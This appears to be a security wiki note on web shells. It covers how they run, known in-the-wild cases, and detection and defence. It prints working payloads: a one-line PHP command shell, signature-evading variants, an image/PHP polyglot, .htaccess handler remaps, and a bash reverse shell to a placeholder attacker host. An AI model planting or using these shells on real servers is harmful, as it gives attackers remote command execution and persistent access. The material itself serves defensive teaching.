# Web Shells
> A web shell is an attacker-planted script in a web-accessible, server-executed location that turns subsequent HTTP requests into command execution — the standard persistence/interaction payload after [[Unrestricted File Upload]] or any write primitive.
## How it works
Once a write primitive lands executable content under an active handler (see [[Unrestricted File Upload]]), each request to that URL runs code in the server process. The shell reads a command from a parameter/header/cookie and returns output in the response body. Delivery is the hard part (filter bypass); the shell itself is small.
## Payloads
- **Minimal PHP:** `<?php system($_GET['c']); ?>` → `GET /uploads/s.php?c=id`.
- **Data-exfil one-liner (lab style):** `<?php echo file_get_contents('/home/carlos/secret'); ?>`.
- **Stealth variants:** `<?=`?>` short tags, `assert($_REQUEST[x])`, `preg_replace('/.*/e',$_GET[x],'')`, base64/`gzinflate`-wrapped bodies to evade signatures.
- **ASP.NET/IIS:** `.aspx` with `<% Response.Write(new ...Process... ) %>`; a `.jsp` equivalent on Tomcat.
- **Polyglot web shell** — a file that is simultaneously a valid image and valid PHP so it passes content validation, yet executes because its real extension is `.php` (built with `exiftool -Comment='<?php ... ?>'`). Image formats ignore bytes outside their structures; PHP ignores bytes outside `<?php ?>`, so both coexist.
- **Config-as-shell:** an uploaded `.htaccess` (`AddType application/x-httpd-php .jpg`) or IIS `web.config` makes an otherwise-inert extension execute — the "shell" is the handler remap.
- **Non-file shells:** some chains yield execution without a file on disk — [[Expression Language Injection]], [[Log4Shell]], [[Insecure Deserialization]] — but attackers often drop a web shell afterward for durable access.
## Escalation to a real shell
A single-request web shell is noisy and limited; upgrade to an interactive reverse shell:
```
bash -c 'bash -i >& /dev/tcp/ATTACKER/4444 0>&1'
```
caught with `nc -lvnp 4444`. Shells frequently run as a high-privilege user (root on appliances like Citrix NetScaler/Zyxel), so a plain `system()` call is already full compromise.
## Notable cases
- **Cisco Unified CM (CVE-2026-20230)** — actively exploited to drop web shells on internet-facing instances.
- **PHP-CGI CVE-2024-4577** — TellYouThePass ransomware used the [[Argument Injection|argument-injection]] RCE to deploy web shells, then `mshta.exe` + a base64 HTA to load the encryptor.
- **Breeze Cache / Forminator / Elementor Pro (WordPress)** — unauthenticated upload flaws exploited in the wild to plant PHP web shells.
- **Magento/Adobe Commerce "PolyShell"** — polyglot upload gives web-shell execution.
## Detection & defense
- Serve upload dirs from a `noexec`/no-handler location; a planted shell then returns source text instead of running.
- File-integrity monitoring and web-root diffing (new/modified `.php`/`.aspx` under writable dirs); YARA on common shell signatures; alert on `.htaccess`/`web.config` writes.
- Egress filtering catches the reverse-shell/C2 callback; anomalous `system()`/`exec` from the web user is a strong signal.
- Prevent at the source — close the [[Unrestricted File Upload]] and injection primitives that allow the write.
## Related
- [[Remote Code Execution]] · [[Unrestricted File Upload]] · [[Command Injection]] · [[Argument Injection]]
See also: [[Path Traversal]] · [[Zip Slip and Archive Extraction]]
## Sources
- [[raw/medium.com/remote-code-execution-via-polyglot-web-shell-upload-13238|RCE via Polyglot Web Shell Upload]]
- [[raw/payloadplayground.com/file-upload-vulnerability-testing-bypassing-filters-and-getting-rce-3487|File Upload Vulnerability Testing: Bypassing Filters and Getting RCE]]
- [[raw/helpnetsecurity.com/cisco-unified-cm-flaw-actively-exploited-to-drop-webshells-cve-2026-20-9980|Cisco Unified CM flaw actively exploited to drop webshells]]
- [[raw/wiz.io/critical-rce-vulnerability-in-php-cgi-everything-you-need-to-know-9624|Critical RCE in PHP CGI (CVE-2024-4577, webshell deployment)]]
- [[raw/aikido.dev/what-are-shell-vulnerabilities-php2shell-node2shell-http2shell-react2s-12428|What are shell vulnerabilities?]]